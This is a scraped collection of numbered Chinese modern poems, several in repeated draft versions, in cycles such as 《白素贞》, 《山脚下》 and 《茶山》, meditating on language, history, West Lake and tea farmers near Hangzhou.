有人一直走，碰到了石头壁。 碰壁者的声音和语言、句子。 在它不愿意因此在于去 再次分离的形成了。人， 或者人这个词语，或者人 只有从人里面走出，活生生的人类 当下和现在当然的痛苦， 和可以去解释的同的执迷。 只好作为了游客，花费了人类的历史 一直走碰到了石壁，唐代，宋代，西湖边 都有人在上面将此刻雕刻而下。 春秋来信九1395 春秋来信九 《春秋来信九》 有人一直走，碰到了石头壁。 碰壁者的声音。和语言、句子。 在它不愿意因此在于去 再次分离的形成了。人， 或者人这个词语，或者人 只有从人里面走出，活生生的人类 当下和现在当然的痛苦， 和可以去解释的人的执迷。 只好作为了游客，花费了人类的历史 一直走碰到了石壁，唐代，宋代，西湖边 都有人在上面将此刻雕刻而下。 白素贞十二1396 《白素贞十二》 她不是、 否定、拒绝、斥责、转身、虚无 。。。。。。 逃脱了而在于的琴弦， 作为了而在否定的弹奏， 如同一支歌子，已经因为 其本身而难以言说。那错误 它本身是难以言说的。 两个错误被我面对着， 分摊而无辜会因为责怪减少而 如释重负的它，这是我言语诞生的时刻， 这是矛盾于自我出自于嘴唇的 现实的紧闭。而现实的责罚已经到来 如此的快:现实的不能，我哼了一声。 白素贞十二1397 白素贞十二 《白素贞十二》 她不是、 否定、拒绝、斥责、转身、虚无 。。。。。。 逃脱了而在于的琴弦， 作为了而在否定的弹奏， 如同一支歌子，已经因为 其本身而难以言说。那错误: 它本身是难以言说的。 有了两个被我面对的错误（姻缘纠葛本身 是多么的无情）。 分摊而无辜会因为责怪减少而 如释重负的它，这是我言语诞生的时刻， 这是矛盾于自我出自于嘴唇的 现实的紧闭。而现实的责罚已经到来 如此的快:现实的不能，我哼了一声。 春秋来信十1398 《春秋来信十》 不指，在小旅馆中不指 小旅馆幽暗，来自于园中的竹林。 指的是就在窗外的。 此刻的旅客只一片竹子 在南方，一片语言如深秋的竹子， 终于找到个栖身之所。 \/ 一切已经超出， 但道德的忙碌并非因此徒劳无功。 那些语言还在回荡， 并没有新的添加。嘈杂着。 \/ 语言会首先承担， 世界将我包括。 而我能很好的监k着， 它异动，我便以“它”， 在称呼里面它自我矛盾， 内容免不了因果，困难。 \/ 竹林馆改做小旅馆， 通过一个正当的理由， 它穿过了旅店老板， 接着被说出般的离开的本质， \/ 离开的永恒主题的小旅馆 它始终是看不见的，我指。 一个美丽的北方姑娘一1399 一个美丽的北方姑娘一 《一个美丽的北方姑娘一》 如果看是虚假的事物， 那看之中的另一个。 就好比为了真， 它会是另外的一个。 但依然是同一个。 它的周围是位置的不动， 场景的未曾变幻，窗户和 就快要为抒情而倾斜的星宿。 只有，只有语言是上升。只有了。 我想把它具体的形式说出， 你看的虚假的时候， 有一道人的影子，走过 我是真的， 爱你也是。 山脚下的湖一1400 《山脚下的湖一》 湖水静止不动， 更超过伪装和假象。 \/ 语言过去看看。 夕阳垂暮，山坡草短，乡民 是在山脚和半山腰准备种茶的乡民。 语言过去看看，是另一个人呆在山坡上。 \/ 距离，假象，和成了一本书。 入门的茶农，模样儿俊俏， 用同样俊俏的手， 在找不到二十四节气的书上，摸索。 多么客气，像南方的，命运的， 和命运之外的最初说出。 \/ 在湖边你也影影绰绰， 没人找到你你就去找人， 多么的着急，人找不到你。 种茶的人儿带着头巾，茉莉花白。 山脚下1401 《山脚下二》 如果你是一面镜子， 斑驳或者光滑，像从玻璃工厂里面 刚刚的推出。与德性无关的这一些 反而通过语言的形式将人类照到了。 那人类在别处也避不开。颓废，消沉 有的人在酒水里面一s一浅。 道路平整的杭州府，还会造就更多平整的 沥青路面。丰富性于残缺是一座城市的 w大的，理想的。我想北方写信，唯恐再找不见你了。 山脚下三1402 《山脚下三》 能拐弯的是风，夜晚借着 能发出微弱光芒的群星。 不能拐弯的也已经远离开来， 从人的语言，当他因此正 变得持守和深情。这一些木讷的 表面，无法在人类自我的道德里面深入， 而与我们当时对于它的书写 是同样的情形。略显的无知。 我知道，这是今夜发生的唯一的事件 :区分。而此外万籁寂静，都是有赖于 一个人思绪的沉闷。 我正面见着历史之中同样的一个， 穿过了石桥，临河的青石巷尽量的 向h夜尽头延伸。这远古的羞涩者 直到今日仍对于我的上岸避之不及。 山脚下四1403 《山脚下四》 我的有所异动的是耳朵。 使我德性的犹如某种情分。 不对自己怜爱，从自己那 往往把假归咎的像语言自身。 \/ 归咎就是语言自身。 一个人干脆就找个地方自言自语。 我遇见他的方式是不会遇见， 而遇见本身，熟视无睹是它的那更深处 :人的麻木，人视而不见了自身起来。 \/ 人于是是我们被一双双的手 天还没亮就弄醒了。 我们一起往外挪移， 如果我往外挪移的实情反而导致了 离开屋舍，相反的后果。 我在屋舍所产生距离感的情况下 去挪移的像作为了人的一个提问的如此真实。 \/ 所以，真实的一照， 历s也不知道是真是假起来了。 它的表面漂浮着人类的语言。 很久以前就如此了。 地上的人用天上飘落的雪花敲z， 被提醒而更加频繁敲打， 被如此轻易找到的人， 却带着忧郁和拒绝的态度。 \/ 语言中的人间自成了因果的 另外的一个。或者 需要一段沉默而使得它圆满。 你因此是必须的，而且是走来的， 懵懂的。语言是等候多时的，需要讲述 和在讲述中不断重复的。 在历史的口口相传之中， 我逆流而上，溯源溯源本身的假象， 在一开始的就没有那里， 在语言中的人间早已经因为未来史而 自成因果那里。 山脚下四1404 山脚下四 《山脚下四》 我的有所异动的是耳朵。 使我德性的犹如某种情分。 不对自己怜爱，从自己那 往往把假归咎的像语言自身。 \/ 归咎就是语言自身。 一个人干脆就找个地方自言自语。 我遇见他的方式是不会遇见， 而遇见本身，熟视无睹是它的那更深处 :人的麻木，人视而不见了自身起来。 \/ 人于是是我们被一双双的手 天还没亮就弄醒了。 我们一起往外挪移， 如果我往外挪移的实情反而导致了 离开屋舍，这结果上的相反，在没有完成 而应当被阻止的情况下，它多么的危机呢 仅仅就因为这最开始的于一点上面 当时，我在屋舍所产生距离感的情况下 去挪移的像作为了人的一个提问的如此真实。 \/ 所以，真实的一照， 历s也不知道是真是假起来了。 它的表面漂浮着人类的语言。 很久以前就如此了。 地上的人用天上飘落的雪花敲z， 被提醒而更加频繁敲打， 被如此轻易找到的人， 却带着忧郁和拒绝的态度。 \/ 语言中的人间自成了因果的 另外的一个。或者 需要一段沉默而使得它圆满。 你因此是必须的，而且是走来的， 懵懂的。语言是等候多时的，需要讲述 和在讲述中不断重复的。 在历史的口口相传之中， 我逆流而上，溯源溯源本身的假象， 在一开始的就没有那里， 在语言中的人间早已经因为未来史而 自成因果那里。 山脚下五1405 《山脚下五》 ————（泰姬陵之泪十七） 欧阳江河说，没有一棵树 是以它本来的样子被看见的。 \/ 以这样而有的一棵树，和树丛间微风。 穿过了人类的语言， 在傍晚投下了自己的身影。 \/ 而问题仅仅介乎于， 模糊与清晰。 旅途上面存在着的， 怎么就轻易地成了人类 整体的宿命了。 \/ 而那单一之人的带着可疑的 孤独，正是由此而来而在树下休息 因问题早已经改变， 在无因的因果之中我们看的更加的清楚了 连最为的轻微，借着语言也指向了天空和星宇。 \/ 提问变成回答，那么回答将占据 一生之中的这个傍晚。 垂身，几千年前，古印度的释迦摩尼曾 席坐成佛。在遥远的东方，人类再一次的 借着自我而从他回到了对世俗的眷恋。 \/ 包括山脚下那些对于此的不承认者 在并不否认的这一条界x所做来回， 犹如一种有声音的回荡，碰撞。 由来于锅碗瓢盆，炊烟，浣溪。。 声音迅速的丢弃，在杭州府，遁入了永s之门。 白素贞十三1406 《白素贞十三》 蛇一点点的蜕变自己， 像历s蜕变自己。 听到了不可能的蜕变， 傍晚，投入湖中。 山脚下六1407 《山脚下六》 两个事物，不同因而相似的不同着。 将使我保持冷峻，两个事物。 享受着人不同态度的事物， 一分为二。造物z盘古身影一滞。 这些新生式的言语，却让事物走向 破碎，这些与人类在这个傍晚 同路而行者的走向的截然迥异。 仿佛一种早已经接受了一切的坦然。 g子手，心中的怜爱大于所有的人。 来自于故乡，最为怯懦者的那善良 被繁复的使用。g子手一刀斩下， 那个有关于世界的答案。黄昏， 火烧云和夕阳如约而至。孩子 坐在山坡上面欣赏着美丽的景色。 一个人的尽头是一个事物，天空 没有雨的时候，另一场雨下起来了。 山脚下七1408 《山脚下七》 我爱位置， 心中大有迟疑的人爱位置， 重复于爱，如同傍晚来临。 我不能接受， 通过语言的爱之于黑夜的真相。 我愿意在傍晚接受目光的全部审视 就像我可以将一颗松树， 一株竹子看的明明白白。 随即，它入土为安，恍如这个世界 大的意义上面， 而后，黑暗从那里徐徐而下， 从我那对于生长，倾斜的忽视。 山脚下八1409 《山脚下八》 因为我的观念，它便是孤独的。 所以它在眼前的场景里面静止。 作为将静止给遗忘掉， 以及言语以虚幻和莫须有。 我说出的语言遇到同思虑着所类似的， 在不是任何意思它位于的一个地带 被叫做了边缘，在语言里面轮回的人 就在这个初冬的早晨。 山脚下八1410 《山脚下八》 因为我的观念，它便是孤独的。 所以它在眼前的场景里面静止。 作为将静止给遗忘掉， 以及言语以虚幻和莫须有。 我观念里面的静止以物的形式考验着 生命。最初人与众多的动物，植物生活， 之后由此可查，发生了一场悲剧的无从考。 \/ 作为一个普通和平凡人，我说话。 初冬的早晨，已下霜，北风凌冽感。 那个静止随时可以被添加，来者于去 并且成为了现实而离去是发生的本身的 最为迟缓。像数数一样，最后的排在了最先 最先的是一些像铺就道路沥青的沙子或语言。 在真相已经不重要的时候，心怀感恩， 又孩童般走向成长的欲望。这个冬天，白色， 没有雪，人一直在L回里面。因为语言。 青蛇十二1411 《青蛇十二》 我没有说出，我也不沉默。 像另外一种形式，或者我从那里来。 对于此地或以此所遮盖，那对于此地的 持续性的描述。往往因“我们”而忽视的， 以一个动作，细节，或表情来称呼。步行， 徒步穿过街道，街道被两旁的建筑物瓜分。 还是走路，穿过那条被自我所瓜分的街道。 唯一确定的事情越来越确定，变得越来越 不确定意味着想要去最终的确定。因为始终 还是没有完成，话语上面已经因可以说出而 完成。道德的话语涉及心灵因而不可说出。 穿过街道，傍晚，大自然的自行拷问体现圆满， 人也是，傍晚垂暮，街道正被两旁的建筑物g分。 白素贞十四1412 《白素贞十四》 站在意味着高的地方， 站在你甚至可以一下子 否定掉两个事物的地方。 站在一个地方， 对于两个事物，屋顶和院子而言 以沉默的方式来把对于它们而言的 同一来说出。 问题，被悄悄的改变了 你也收获颇丰。有造物主 而止于不说，舒畅，泰然，迎接夕光 早于晨光者，或别的。 问题，只在的在于着 我是你的睡在感激里面的邻居 我感激你，你爬上于下，持恒 我感激你。 春秋来信十一1413 《春秋来信十一》 因太早而开， 甚至开的茂密。 甚至于开上来 一边梳理通了，好来 沉默的反问。 \/ 一个你住在别处， 但始终与我有关系， 有一天我们不再有书信来往， 你日日的望着大地， 想要以此进入到我的身体里面。 \/ 初冬的一个早晨， 聚集了太多以至于是全部和所有。 我哆哆嗦嗦的身体说的全是冷 文字与身体的颤抖互通有无，彼此穿过 而成为了彼此。 仿佛什么都因为一个早晨而没有发生 仿佛你还是因此而住在，和 不得不住在原地。 \/ 书信有声，我敲了敲 书信如门，因为我塞在了你 过了一会打开的门上了。 山脚下九1414 《山脚下九》 明月高悬 发生了很多事。 离开它们，离开也是一种发生。 \/ 随着这天地神秘和延展， 也被类似推理的，历史本身无处可去。 \/ 投以水则浮波， 投以星空，这人类的屋宇。 因冬天就快要结冰的湖面， \/ 像是了一个故事的 从一个类似感情纠结的 不可能而来了。 山脚下十1415 《山坡下十》 L史无罪， L史上有一个因果， 它的具体内容: 当它是有z推论和J索的 看客，它受到的话语的影响 有多少次了，更多于它们 如沐春风的在耳边拂过。 历史中的少年人，被置身于其中 只剩下了单纯的梦想成真的快乐了 跟L史的Z相一样子单纯， 跟山坡上面那个停下来眺望的 小羊倌一个样子。 几乎在等同于同一张的时候 在过去的现代性在于未来的 太过于神秘，而已经不胜其扰。 八卦，占卜，星象，道士下山 一个小镇就是一个江湖， 一个d国。小人物掉进了历史当中 就捞也捞不到了， 就捞也捞不到了的说话是捞起来的 却不是你的话语， 山坡上的小羊倌什么都不懂 喜欢一个姑娘，就要嫁给大户人家了。 白素贞十五1416 白素贞十五 《白素贞十五》 站在意味着高的地方， 站在你甚至可以一下子 否定掉两个事物的地方。 站在一个地方， 对于两个事物，屋顶和院子而言 以沉默的方式来把对于它们而言的 同一来说出。 于是你只需要不说就好， 你只是一种被重复所需。 问题悄悄的在于改变。 你收获颇丰。有造物z 而止于不说，舒畅。泰然。迎接夕光 早于晨光者，或别的。 问题，只在的在于着 我是你的睡在感激里面的邻居 我感激你，你爬上于下，持恒 我感激你。 春秋来信十二1417 《春秋来信十二》 脸给人脸的感觉， 止步的时候，想要走走。 扭头，脸也跟着 在扭动中团结的不像样子 不成体统。在农村 没有人说你，也不要说别人。 把说围起来， 冬天自己就成了语言上的一颗果子。 而且是有关藏匿的， 有关隔壁村那小丫头的。 她把你画下，没有通知你 她让你从此以后做一个浪人 以作业本为家， 画的歪曲扭八，才像了你。 所以，别人碰春风时，你碰的是雪。 自己对于自己，永远都是 一个谜一样的才去寻找。 或者就是这样一些什么都没有， 趋向于本身的无。 被凸显出来的时候， 像很多事物的其他， 不像你的就都在你身边和周围了。 你拥有一张脸，校正现在和此时此刻， 风有点冷，一吹，脸哆嗦了一下。 山脚下十一1418 《山脚下十一》 有些是方自我于脸上的 调整的行为。 包括了住，以及边缘地带的 衣食住行。也包括它们的 被住所调整。 \/ 日子以时钟为界， 有时候为了更准确而需要月亮。 夜晚，有一道隐秘的语言， 不远处的河流走失。 \/ 触碰情a的人睡得很深， 一直在下降。 别人不睡，在确定了他 s猪一样的睡意后， 才在他的身上找到个平衡失眠的理由。 \/ 通过这些事物的不够多或者 不够多于不够少的上面， 相对于自我而言说自我在于 言说里面的真相，弄乱了。 夜晚比白天亮， 黑色是热爱着植物，动物 和我们。黑，一种本质性质， 显得爱有点多余。 \/ 方脸住坡于山 晚上没有路， 过河，河就不见了。 有个人山上，山上有个小屋 它把整个故乡的孤独都确定了。 山坡下十二1419 《山坡下十二》 睡觉就是通过了睡觉，睡觉是可被穿过， 和穿过时候的诞生了自生疑问。五千年 才有一条鲜鱼怎么会没有名字，怎么能 没有名字和可以无名无氏的尽情畅游。 便是了人的诞生。鱼儿藏身深海，鱼儿所 导致的语言上破碎的本质，却让人群中 先行者们统统躲在一棵树下。如今，历S 通过了我的遥远而做出了选择，除了相对于 自我的难辨:盖被，平躺，偶尔侧身，呢喃。 赤条的再不会是夜晚穿过人m广场的那个。 英x主义，L士塑造，较为宽阔广场发出着天问。 N反的灯一排排就是光，很久有一辆车呼啸而过。 人一定是可以而可因此又愿意因为人而返回去， 还没有发生。是嘴，但嘴紧闭，呼吸通过鼻子而 鼻子的考察却给出了来历不明的结果。是脸，耳。 最终一切都还没有发生，人整个的借着语言而 整体的面对着接下来的宿命。宿命如夜，如清秋大梦。 那么是梦于睡上而不是人，是人一直都醒着 便不得不追求于睡。看到了睡与梦是两个东西 人就再也睡不着了。没有发生的时候，一分为二 的橘子，在桌子上，被桌子吃掉。人在一个梦里 出不来，人睡则越陷越深，人在自己的身体之下 一个人在阁楼上面睡，盖着身体和棉被这东西之 两种。从于二的人类所追求是我的不可能于理解。 并且我也会有睡梦的时刻，它藏在牙关，它落下 窗帘，我看见牙齿。这也不是我的语言。谁在，同问。 白素贞十六1420 白素贞十六 有时候太厉害了， 近乎于严重就是种变形。 我遥遥的就看到了语言扭曲， 保持平静的人，一致的人， 生活的，是镇子上的人。 分到了房c的人，人于人人上 把手伸了进去，按压下了地契。 没有土地他们没有足够的底气。 天空入夜并不总是美好的印象。 会再一次的唤醒不好的记忆。 通过天空而与外面世界的联系 倒不如我从外面来，从文字来。 有时候女人太柔软，唯一在柔软 称之为女人的时候变作了钢铁。 颠倒，但男人不行，男人无力。 男人排在女人后。我们谈论的其他 是谈论一切的为何都比之于此的 关系的产生。在一个边陲小镇， 我坐在树下，往自己的头脑里面逻辑的 挖，不疼的用通过了木棍的铁来 最后如同申诉。这里，不是那里。 我不知道这申诉是否足够，深情的 人也被包括在一切本质属性的沉默中， 推开了那个镇子里的其中一间屋的门， 声音，从女人的s体上出。 青蛇十三1421 《青蛇十三》 没有文字的时候， 组成了c代的另外一个。 而因此永恒。 没有文字实则徐徐下降， 让那些被面对着以面对着 本质的方式而避不可避。 这样展露自己的徐徐下降的具体， 因此并不是本质。 只是诙谐，花边，综艺明星走过 红毯。没有文字的时候， 身轻不能再轻易的入雪 我忽然想到了这些电影明星， 并不容易所代表的是困难 走过了一种不容易但并非不可能 家乡是南岸而长大要往北 成岸，综艺明星想要落入花海 那是电影的镜头，他身轻如雪。 青蛇十四1422 《青蛇十四》 脱的太狠的人， 追上我语言而使得了它 说出的人。 他人，一面自我破碎的镜子。 不能脱掉而于自身者 这对于贫瘠之思的困倦， 像农民把远处当做了梦想来耕耘。 春天在冻土深处， 让它成为了可能， 赋予你一些相反而错误的， 赋予你因为词语而因此掉落的。 春秋来信十三1223 《春秋来信十三》 有什么东西，因此它存在。 这些内容因为存在，那直接性的 反问和迟疑填塞满了的它们。 这些族群在嘴唇里面单一， 就好像只剩下了一个人。 在一个夜晚，他看着潮湿的天空。 族群被历史洗涤。你活着 在口腔的无限里面，还会有 人类自我的证词之必要性吗？ 使我们远离那最快就能够以此而 到达，呈现为以可以离开来表示 的自己，使得了人在自我之于他的 诞生之中。虚假的才孤独，像一种真义 在描述着反射而回来的无声的光芒。 春秋来信十四1224 《春秋来信十四》 清晨的人的孤身一人， 像寒风正吹向自己， 以凌冽。某种方式是隶属于 应当于被丢弃，人阻止了。 这些由此而来的人的行走的动因 犹豫与果断的结合体， 路过一段废，快要坍塌的红砖院墙。 在院子外面，外面是承受着思 而以外面而言的这一个早晨， 那里面太过于不断的变换不停 正是因为对于一种停下来，人一般的 诉求。那停下来的人作为唯一不停的 一个，在行走之中慢吞吞，迎着风 世界静止，有心灵中巨大但 难以想象的周转。 山坡下十四1225 《山坡下十四》 日子脱节，那就 傍晚问，晚上问 太阳去哪了。 无辜的太阳没了最初的鲁莽和生气， 落入了问询之中的太阳 陷入言语世界白与黑中。 \/ 一个问题曾经太过于虚假，因为 因虚假而成为了的是自身， 反驳的话语始终还是要回到话语 所有否定的话语与肯定暂时泾渭分明。 \/ 隐含于不被称作， 不被命名借着对不被称呼而下行。 有人下山，闯入了有我的现实里面。 山顶大风，只有它是单纯的 山坡下十四1226 山坡下十四 《山坡下十四》 日子脱节，那就 傍晚问，晚上问 太阳去哪了。 无辜的太阳没了最初的鲁莽和生气， 落入了问询之中的太阳 陷入言语世界白与黑中。 \/ 一个问题曾经太过于虚假，因为 因虚假而成为了的是自身， 反驳的话语始终还是要回到话语 所有否定的话语与肯定暂时泾渭分明。 \/ 隐含于不被称作， 不被命名借着对不被称呼而下行。 有人下山，闯入了有我的现实里面。 山顶大风，成为我 在于还没有成为我的时候。 山坡下十五1227 《山脚下十五》 如果只是如果而成了真的， 你是一面镜子。斑驳或光滑， 沦为其中单一而以可以任何一面的方式。 当你停止不语，戛然而止语言也将它包括。 这样才刚刚像从玻璃工厂里面推了出来。 旧屋顶，任何事物都是旧的。 \/ 院中太过于依赖围墙，人影晃动，忙碌。 \/ 与德性无关的这一些 反而通过语言的形式将人类映照。 那人类在别处也避不开。颓废，消沉 有的人在酒水里面一s一浅。 道路平整的杭州，还会造就更多平整的 沥青路面。丰富性于残缺，一座城市是 w大的，理想的。我向北方写信， 通过你，你无法不在，这不在被所指向着。 白素贞十六1228 《白素贞十六》 你的作为原因的垂了下， 像万物都是一个， 在一段没有说完话语里面的结果。 或者就是这段话语， 消失，启示于以踪迹和烙印 在相反上面，当那被人的思虑 和猜疑更多的占据了， 人也很多，有拥挤和拥挤于人烟稀少感觉 在词语的前面和后面 以及更远处的人自身的声音 这些做陌不相识状解释的人类 如今是一张张脸庞。 一个问题始终是很突然的 很突然引起了一个问题， 这些被事先解决好了的部分，拿来 给你我看看。 水流枯竭，冬天进入了枯水期 枯黄地芦苇荡传递着萧瑟，化作了 遗忘的微风。 茶山一1229 《茶山一》 人之于物为美， 像一种态度。 人可以无头无脸无经验， 迎上了，一种态度。 \/ 这些与短暂相平等的东西 这些以东西的方式展示 丰富性就是一种重复，那么 它自我应该以训诫为准， 作为停止而准则的不仅仅是个体的 人，从人到物，念叨相反， 则世界的准则性，那丰盈 \/ 我可以找一个人来谈谈， 在这个下午， 他静止，出身，站在镇中央的一条河边。 茶山二1230 《茶山二》 灵隐寺尽头，往东 自身坠入其中。 \/ 这印证了我热爱酒水的时候， 庙里面老和尚正在做两件事。 我来得早，其中一件还没做完。 于没做完之上，我来的晚了。 相比于平铺直叙的酒水，这以 并不严重来疏通，平衡和调和者。 自身的迷乱的人，湖水就是大千。 老僧把语言放在寺门外的柏油路旁， 转头回去训诫，继续让小和尚修闭口禅。 茶山二1231 茶山二 《茶山二》 灵隐寺尽头，往东 自身坠入其中。 \/ 喝自我印证的水，僧侣 在庙里做两件事。我来得早， 其中一件还没做完。 于没做完之上，来晚了。 \/ 酒水平铺直叙， 酒水是疏通，平衡与调和者。 \/ 自身的是否真是人的迷乱，湖水大千。 老僧把语言放在寺外，柏油路笔直而倾斜， 转回头的训诫，在小和尚的闭口禅中回荡。 茶山三1232 《茶山三》 有人在喝水。 广阔水域缩小的压力， 仿佛那膨张而已经名字在了 书籍和传统，如今的这一次 截然相反的历史，是什么结果呢， 令人眩晕。 你不回答，你只管喝水 我才问。我不问那因此问与答完整的 问，反对问一直问了下去的人类的因果 与宿命。夜晚寂静，无人会有谜团跟命运。 我只是与如此形象，你这个人 当你只身走上，那荒废的高处的行的本身时。 鄱阳还是洞庭，那远来者是青海与洪泽。 你把它们渐渐的缩小，一点点 只为了去阻止，有关一杯水的判断和联想。 我生发的思绪冬日野草一般的像， 从那些沉默之于语言的否定之中， 这些必然性为我所丢弃。喝下一口， 为自然所抚平的带来了畅快。 茶山三1234 茶山三 《茶山三》 有人在喝水。 广阔水域缩小的压力， 仿佛那膨张而已经名字在了 书籍和传统，如今的这一次 截然相反的历史，是什么结果 作为一种无果，你不回答，只管喝水 我才问。我不问那因此问与答完整的 问，反对问一直问了下去的人类的因果 与宿命。夜晚寂静，无人会有谜团跟命运。 我只是与如此形象的你在于我偏离你就孤独。 当你只身走上，那荒废的高处的行本身时。 鄱阳还是洞庭，那远来者是青海与洪泽。 你把它们渐渐的缩小，一点点 只为了去阻止，有关一杯水的判断和联想。 我生发的思绪冬日野草一般的像， 从那些沉默之于语言的否定之中， 这些必然性为我所丢弃。喝下一口， 为自然所抚平的带来了畅快。 茶山四1235 《茶山四》 有人住山上难免要住于自身的幽暗些。 那些从未来夺取过来而称作以东西的， 即使我们以无意与拒绝的态度。 这一个对未来却想要去找回来的拒绝， 拒绝本身的姿态是，一种更甚于实物。 在那，以谓之以你来称呼。 但人不会长久的陷入语言循环的虚假。 因此陷入而于了其中，是假的真本身。 人凌乱开展，忙碌好通往圆满的结束。 院子干净，秋风留客，乃至夜宿山寺。 农民击碎了它们，仿佛那是不成功的， 事情发生于此时候。 茶山五1236 《茶山五》 有人住山上难免要住于自身的幽暗些。 是人是有，就像大地如席，人说， 不在的人之说，否则就是人之说于那不在的。 围绕着这在始终如一个统一，在主题之中 作为它的琐碎和凌乱，作为一个我们看到过 的地上的石头，它亲自告知的神话的庸俗， 在告知于沉默之中，要么是语言诞生， 这借着语言的石头于是在耐心之后终于开口说话。 讯息于丢失，大地的残破更久远一些。 相对于芦苇是云彩，相对于溪流是西湖。 忍不住，便是想要说话，在团结之中窥探着 西湖边上的每一个当自己是来自于古代的人儿。 怀有着的大遗忘，但表面却分外的清醒， 谓之以表面的这清醒于自身重复名称 使得岸上的人尝试做丢弃状，十一月寒风 不过是来的艰苦了一些，那些被以此而衡量 就如白素贞一般。 茶山六1237 《茶山六》 有什么是多余而于了物 那什么于自身的它， 作为一种多余仿佛走到了山上。 变作了语言的同样的孤独， 语言里面的同样孤独有迹可循。 有什么是在山顶也看不到的，俯瞰 鸟瞰，环视。借此而不得看到 之人，叹息像冬天衰败的事物。 茶山七1238 《茶山七》 有什么是多余而于了物， 是没有什么。因而是声音 有什么因此此刻着，鲜活着。 这些事物为什么以平常和世俗 来应对声音这样一种说出的奇迹。 说着奇迹的声音无功而返， 如果不说，让那抵达在 不经意之间，之处？ 茶山八1239 《茶山八》 有什么是多余而于了物， 是没有什么。因而是声音 有什么因此此刻着，鲜活着。 这些以疑而问，离开的暗示 被抛弃，而在了路边，路旁。 却不得不像野花般衰败。 投向大自然只能落得词语， 勉强以无功而返的模样。 茶农每天都朝圣，或者种植 或攀爬。生活，在语言上面的 是语言自身，人为耕耘生活， 穿过了茶山的人，首先在早晨 穿过了人，和被一个个的人穿过。 语言，展露着的本质和沉默的堤岸。 茶山九1240 《茶山九》 人在这个世界上奔跑真是悲哀。 欧阳江河说。 \/ 叫作静但静并不止， 叫作静的不是一种方法的起初。 窥探般的好奇让人起床， 睡眠的人折返而沉沦， 过去的自己就是那个秘密本身。 \/ 鸟儿敲窗辞别， 辞别于经过远行才 来到了这里。窗门不开， 窗门怎么可以打开双重的词与物。 这是为冬天准备的 礼物的鸟儿顺势而下，沿着德性 逆反于人类。 人为它准备的语言的前途 刹那间白茫茫破碎了一片。 \/ 却还是自身。公园的F庭 绿树环绕才真正永恒不变。 说，在说出之后无罪。 有Z的语言自身因说出了它 那些孤独的声音游荡， 说说出了无Z而有了的， 被称作Z。被标定的人 与语言和世界无关的奔跑着。 戏曲的形式1241 [cp]戏曲的当代化的形式是这样的: “相对于西方哲学，诗歌， 在中国我们的诗歌与戏曲是怎样的？” ————是【戏】[\/cp] 茶山九1242 《茶山九》 人在这个世界上奔跑真是悲哀。 欧阳江河说。 \/ 叫作静但静并不止， 叫作静的不是一种方法的起初。 窥探般的好奇让人起床， 睡眠的人折返而沉沦， 过去的自己就是那个秘密本身。 \/ 鸟儿敲窗辞别， 辞别于经过远行才 来到了这里。窗门不开， 窗门怎么可以打开双重的词与物。 这是为冬天准备的 礼物的鸟儿顺势而下，沿着德性 逆反于人类。 人为它准备的语言的前途 刹那间白茫茫破碎了一片。 \/ 却还是自身。公园的F庭 绿树环绕才真正永恒不变。 说，在说出之后无z。 有Z的语言自身因说出了它 那些孤独的声音游荡， 说说出了无Z而有了的， 被称作Z。被标定的人 与语言和世界无关的 以奔跑的形式。 茶山十1243 《茶山十》 语言说出的情形 那只要去而以去所作 否定的渴望如一次拒绝的失败了。 什么时候起我们的后背 可以观察，并保持沉默。 对前胸后背的置换或者就是 作为整体的它们曾经有过残缺。 以盲目之姿，继续 花朵依旧艳丽。走去了盲目性 之中的花朵是否就因此成为了 事先得到光明的启示和预言呢。 为此，一个词语单列， 或者指向无功而返的空白。 有这么一处地方，被如此的推断 测试着人信以为它作为最后的自留地 的信念。空白代表着信念的蔓延， 像空白更甚于自己的叫做了它。 茶山十一1244 《茶山十一》 语言之去的以说而出 这自我的，组成的。 嘴唇就是隐秘的，倾向于 容易丢失的肇事者的人L。 隐晦的，历史的线索。 不过是这线索就是历史本身。 空有的一个外壳一般， 被称作了名字却徒劳于并非无功上。 承担了所有的罪孽， 就好像因为始终是最后的一个 而有了最后的，一个 是它再也不能的更多的具体。 也不会在人类误解的逗留上面， 那些更少只是回声，人无法挽留， 暴风雪，风雪夜归人被历史遇着。 历史是因为陡然而为了雪， 是一行行的雪线的踪迹， 出于被人的好心抹平而这抹平 被抹平了。 茶山十二1245 《茶山十二》 整个夏天只穿两条裙子是多么酸楚。 \/ 酸楚于它自身， 这个让它成为了酸楚的在被叫做 本身之间。而那已经不在了它的G辖范围。 \/ 故事像是以新而开始， 实则是拒绝去旧事重提。 \/ 应该有溢美之词的早晨却没有， 空气清新。推开了门的少女， 酸楚本身，当它就是舒适的意思。 \/ 用这轻微借此而以调换的名称， 这是正确的，一个人说自己 自然，无为，隐身。 茶山十二1246 茶山十二 《茶山十二》 整个夏天只穿两条裙子是多么酸楚。 \/ 酸楚，于它自身。 这个让它成为酸楚的在被叫而以本身之间。 那已经不在了它的G辖范围。 \/ 故事像是以新而开始， 实则是拒绝去旧事重提。 \/ 应该有溢美之词的早晨没有着。 空气清新，少女推开了屋门和院门。 酸楚本身，当它就是舒适的意思。 \/ 用这轻微借此而以调换的名称， 这是正确的，一个人说自己 自然，无为，隐身。 茶山十三1247 《茶山十三》 人之于物为美， 躲避而成，人类的态度也成了。 人可以无头无脸无经验， 人自我拍下一拍即合，因此拍出一个声音。 \/ 声音对着短暂和逝去 像从一开始自身就是错误的东西。 人无力面对那些由人的咎由自取而起的 除非那只是自责，和言语的单纯。 \/ 为了脱罪甚至为了无罪。 在道德的道路上面进入，意味着 离开转瞬就完成。甚至离开先于进入 \/ 如此奥妙，把自己的光投影在了 山涧寺庙。灵隐寺每日都晨钟暮鼓 香客鼎沸，善男信女，天南海北， 这是语言辽阔的旅途。 茶山十四1248 《茶山十四》 从山脚。从此处开始的是往上， 那些用以来区分的目光。 在识别，这一同一功用的时候。 停留于的叫作了自我 而将自我来遮蔽掉了。 像目光终于不及，能力不足， 气力衰竭。我们尽力托举它 用目光，让它在自我对于自我中 上升，衰竭于此。从古老的传统来看， 目光也确实是神秘的。 茶山十四1249 茶山十四 《茶山十四》 从山脚。从此处开始的是往上， 那些用以来区分的目光。 在识别，这一同一的 称作了功用的时候。 停留于的叫作了自我 而将自我来遮蔽掉了。 像目光终于不及，能力不足， 气力衰竭。我们尽力托举它 用目光，让它在自我对于自我中 上升，衰竭于此。从古老的传统来看， 目光也确实是神秘的。 青蛇十五1250 《青蛇十五》 通过“以前”来对于人的界定 是一种错误，当人的恐惧 浮现在了脸庞上面。 需要被界定而赶来以 恐慌的方式，超出于自身者 为脸庞，它没有一个名字 唯恐不及于脸庞，这自我对 于自我，称谓是对此的修饰。 白素贞十七1251 《白素贞十七》 打听，听到的叫作 